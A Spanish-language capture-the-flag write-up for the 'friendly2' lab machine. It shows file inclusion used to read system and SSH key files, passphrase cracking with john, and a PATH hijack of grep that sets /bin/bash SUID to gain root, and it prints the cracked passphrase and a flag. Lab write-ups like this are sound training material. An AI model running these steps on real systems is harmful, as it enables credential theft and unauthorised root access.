Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 03:11 EDT
Nmap scan report for 192.168.5.17
Host is up (0.0021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 74:fd:f1:a7:47:5b:ad:8e:8a:31:02:fe:44:28:9f:d2 (RSA)
| 256 16:f0:de:51:09:ff:fc:08:a2:9a:69:a0:ad:42:a0:48 (ECDSA)
|_ 256 65:0e:ed:44:e2:3e:f0:e7:60:0c:75:93:63:95:20:56 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Servicio de Mantenimiento de Ordenadores
MAC Address: 08:00:27:0C:8F:A4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds
Veremos un puerto 80 bastante interesante, que aloja una pagina web, que si entramos veremos simplemente una web de servicio de ordenadores, pero nada mas, por lo que vamos a realizar un poco de fuzzing.
Veremos varias cosas interesantes, entre ellas el directorio llamado /tools si entramos dentro del mismo veremos otra pagina simple que pone informacion privada pero nada mas interesante, vamos a realizar fuzzing dentro de dicho directorio de nuevo.
Veremos de nuevo cosas interesantes, pero entre ellas el directorio llamado /documents que si entramos dentro del mismo veremos una serie de archivos, vamos a probar a meternos en los htmls pero no veremos gran informacion, ahora si volvemos a /tools e inspeccionamos el codigo veremos lo siguiente:
Escalate user gh0st
<!-- Redimensionar la imagen en check_if_exist.php?doc=keyboard.html -->
Veremos esa parte interesante, que nos esta indicando un archivo con extension .php a parte de un parametro que por lo que se entiende funciona para realizar una llamada a un archivo, por lo que vamos a intentar realizar un LFI a ver si funciona con dicho parametro.
Vemos que ha funcionado, ya que estamos viendo los usuarios, vemos uno llamado gh0st, ya que podemos leer archivos vamos a probar a intentar leer su clave PEM si tuviera alguna y si fuera accesible.
Vemos que ha funcionado de forma correcta, por lo que nos conectaremos por SSH mediante dicho usuario con su id_rsa.
SSH
nano id_rsa
#Dentro del nano
<CLAVE_ID_RSA>
Lo guardamos y establecemos los permisos necesarios para que se comporte como tal.
chmod 600 id_rsa
Ahora intentaremos conectarnos.
ssh -i id_rsa gh0st@<IP>
Info:
Enter passphrase for key 'id_rsa':
Vemos que nos pide la contraseña de dicha clave, por lo que vamos a intentar crackearlo de esta forma.
ssh2john id_rsa > hash.ssh
john --wordlist=<WORDLIST> hash.ssh
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celtic (id_rsa)
1g 0:00:00:06 DONE (2025-05-15 03:25) 0.1663g/s 42.59p/s 42.59c/s 42.59C/s tiffany..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que hemos obtenido la contraseña de dicha clave, por lo que ahora si vamos a repetir el proceso de conectarnos por SSH pero ahora metiendo la clave.
ssh -i id_rsa gh0st@<IP>
Metemos como contraseña celtic y veremos que estamos dentro.
Info:
Enter passphrase for key 'id_rsa':
Linux friendly2 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gh0st@friendly2:~$ whoami
gh0st
Vamos a leer la flag del usuario.
user.txt
ab0366431e2d8ff563cf34272e3d14bd
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for gh0st on friendly2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gh0st may run the following commands on friendly2:
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh
Vemos que podemos ejecutar dicho script como el usuario root, vamos a ver como funciona por dentro.
#!/bin/bash
echo "Enter the string to encode:"
read string
# Validate that the string is no longer than 20 characters
if [[ ${#string} -gt 20 ]]; then
echo "The string cannot be longer than 20 characters."
exit 1
fi
# Validate that the string does not contain special characters
if echo "$string" | grep -q '[^[:alnum:] ]'; then
echo "The string cannot contain special characters."
exit 1
fi
sus1='A-Za-z'
sus2='N-ZA-Mn-za-m'
encoded_string=$(echo "$string" | tr $sus1 $sus2)
echo "Original string: $string"
echo "Encoded string: $encoded_string"
Vemos una cosa bastante interesante en el script, y es que esta utilizando una ruta relativa para llamar al binario grep y no una absoluta por lo que podremos realizar un Path Hijacking y lo haremos de esta forma.
cd /tmp
nano grep
#Dentro del nano
#!/bin/bash
echo "Permisos establecidos de forma correcta."
chmod u+s /bin/bash
Lo guardamos y ahora exportamos la variable de entorno para que apunte a /tmp y se ejecute nuestro binario malicioso.
chmod +x /tmp/grep
export PATH=/tmp:$PATH
Ahora tendremos que ejecutar el binario de la siguiente forma:
sudo PATH=/tmp:$PATH /opt/security.sh
Info:
Enter the string to encode:
$$$
Permisos establecidos de forma correcta.
The string cannot contain special characters.
Veremos que ha funcionado aparentemente, vamos a comprobarlo:
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Vemos que ha funcionado de forma correcta, por lo que haremos lo siguiente para ser el usuario root.
bash -p
Info:
bash-5.1# whoami
root
Veremos que con eso ya seremos root por lo que leeremos la flag de root.
Pero si intentamos leerla pone esto:
ot yet! Try to find root.txt.
Hint: ...
Vamos a buscar por esos ... ya que por root.txt no veremos nada.
find / -name "..." 2>/dev/null
Info:
/...
Si entramos dentro veremos un archivo llamado ebbg.txt que si lo leemos veremos lo siguiente:
It's codified, look the cipher:
98199n723q0s44s6rs39r33685q8pnoq
Hint: numbers are not codified
Vamos a seguir la pista.
bash /opt/security.sh
Info:
Enter the string to encode:
nqssrsrqpnoq
Permisos establecidos de forma correcta.
chmod: changing permissions of '/bin/bash': Operation not permitted
Original string: nqssrsrqpnoq
Encoded string: adffefedcabd
Ahora si sustituimos las letras de antes sin que afecte los numeros, quedaria la flag algo asi.